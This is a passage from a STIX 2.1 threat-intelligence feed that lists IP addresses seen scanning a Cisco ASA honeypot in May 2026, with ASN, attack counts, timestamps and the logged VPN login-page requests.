          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T13:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--54091901-1826-487f-ae2b-c993d03a9495",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '186.243.254.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T13:20:13.000Z",
      "valid_until": "2026-06-27T13:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-26T12:39:05.461Z",
          "last_seen": "2026-05-31T02:51:48.998Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T13:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--4fd38e21-8771-4551-b99d-dab6d59db5d4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '193.228.48.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T13:20:13.000Z",
      "valid_until": "2026-06-27T13:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-26T13:13:14.325Z",
          "last_seen": "2026-05-26T16:16:46.999Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T13:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--b7ce5191-1b31-4c6a-8a01-b85add3cc3a7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.147.245.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T13:20:13.000Z",
      "valid_until": "2026-06-27T13:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-26T12:29:01.232Z",
          "last_seen": "2026-05-29T01:09:05.722Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T13:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--90f84048-acdd-48d2-a88e-034bf05aa638",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.159.124.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T13:20:13.000Z",
      "valid_until": "2026-06-27T13:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-26T12:24:27.745Z",
          "last_seen": "2026-05-30T15:14:23.512Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T13:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--80b744f6-a01a-4d52-b0da-6aff9a3141c3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '80.68.148.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T13:20:13.000Z",
      "valid_until": "2026-06-27T13:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-26T12:44:00.107Z",
          "last_seen": "2026-05-26T12:44:12.819Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T13:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--17b81646-aae2-434d-9bb7-7ef58f5792ea",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '94.143.230.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T13:20:13.000Z",
      "valid_until": "2026-06-27T13:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 28,
          "first_seen": "2026-05-26T13:05:34.318Z",
          "last_seen": "2026-05-30T10:29:45.786Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T14:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--7f445683-82e3-4ce4-8bb9-b26f38e7a855",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '141.133.82.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T14:20:10.000Z",
      "valid_until": "2026-06-27T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-26T14:19:49.548Z",
          "last_seen": "2026-05-26T14:20:01.798Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T14:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 204957 (Green Floid LLC)",
      "id": "indicator--c0c1da36-a579-4f9c-bc2e-875cac8e182c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '153.80.84.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T14:20:10.000Z",
      "valid_until": "2026-06-27T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-26T13:23:21.858Z",
          "last_seen": "2026-05-26T13:23:33.279Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204957,
          "as_org": "Green Floid LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T14:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--7cfde852-e806-49ca-b380-8c988d6f4db0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '166.1.243.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T14:20:10.000Z",
      "valid_until": "2026-06-27T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-26T13:42:29.912Z",
          "last_seen": "2026-05-26T17:42:17.515Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T14:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--7b4581e3-01b3-4641-928e-6563e70e14d5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.120.239.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T14:20:10.000Z",
      "valid_until": "2026-06-27T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 75,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 42,
          "first_seen": "2026-05-26T13:49:12.487Z",
          "last_seen": "2026-05-31T03:39:51.499Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T14:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--834a73df-f80e-4235-b8e0-5fe264c1e3df",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.73.219.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T14:20:10.000Z",
      "valid_until": "2026-06-27T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-26T13:24:29.554Z",
          "last_seen": "2026-05-30T04:30:57.246Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T14:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--63f5f268-a84e-489b-80d2-d975d99f28bf",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '186.243.151.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T14:20:10.000Z",
      "valid_until": "2026-06-27T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 28,
          "first_seen": "2026-05-26T14:07:02.928Z",
          "last_seen": "2026-05-29T06:57:38.739Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T14:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--f36e5590-99ea-48df-abc4-887d77771481",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '192.144.16.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T14:20:10.000Z",
      "valid_until": "2026-06-27T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-26T14:14:22.027Z",
          "last_seen": "2026-05-27T05:46:58.443Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T14:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--e8296379-5f84-4e55-9813-c1cae0fad4e8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.115.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T14:20:10.000Z",
      "valid_until": "2026-06-27T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-26T14:08:27.905Z",
          "last_seen": "2026-05-26T14:08:35.684Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T14:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--ad44ea20-6e1b-4c23-ba5a-a53556aad2a7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '5.57.210.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T14:20:10.000Z",
      "valid_until": "2026-06-27T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-26T13:30:32.422Z",
          "last_seen": "2026-05-27T12:31:14.141Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T14:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--fd21ec5f-c88d-447e-8a57-897463c73585",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '77.72.84.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T14:20:10.000Z",
      "valid_until": "2026-06-27T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-26T13:55:39.360Z",
          "last_seen": "2026-05-29T12:38:41.123Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T15:20:18.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--aca96d9f-401f-4510-be8c-813fbd7471fa",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '103.151.103.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T15:20:18.000Z",
      "valid_until": "2026-06-27T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-26T14:24:34.171Z",
          "last_seen": "2026-05-27T21:54:46.747Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T15:20:18.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 204957 (Green Floid LLC)",
      "id": "indicator--696dad9e-ea42-4c6a-959a-643b671a3720",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '153.80.44.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T15:20:18.000Z",
      "valid_until": "2026-06-27T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-26T14:53:37.457Z",
          "last_seen": "2026-05-31T00:46:56.099Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204957,
          "as_org": "Green Floid LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T15:20:18.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--20f30ff3-4051-4cf3-816e-a077a2f994a3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '166.88.153.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T15:20:18.000Z",
      "valid_until": "2026-06-27T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-26T14:24:38.776Z",
          "last_seen": "2026-05-27T04:06:13.611Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T15:20:18.000Z",
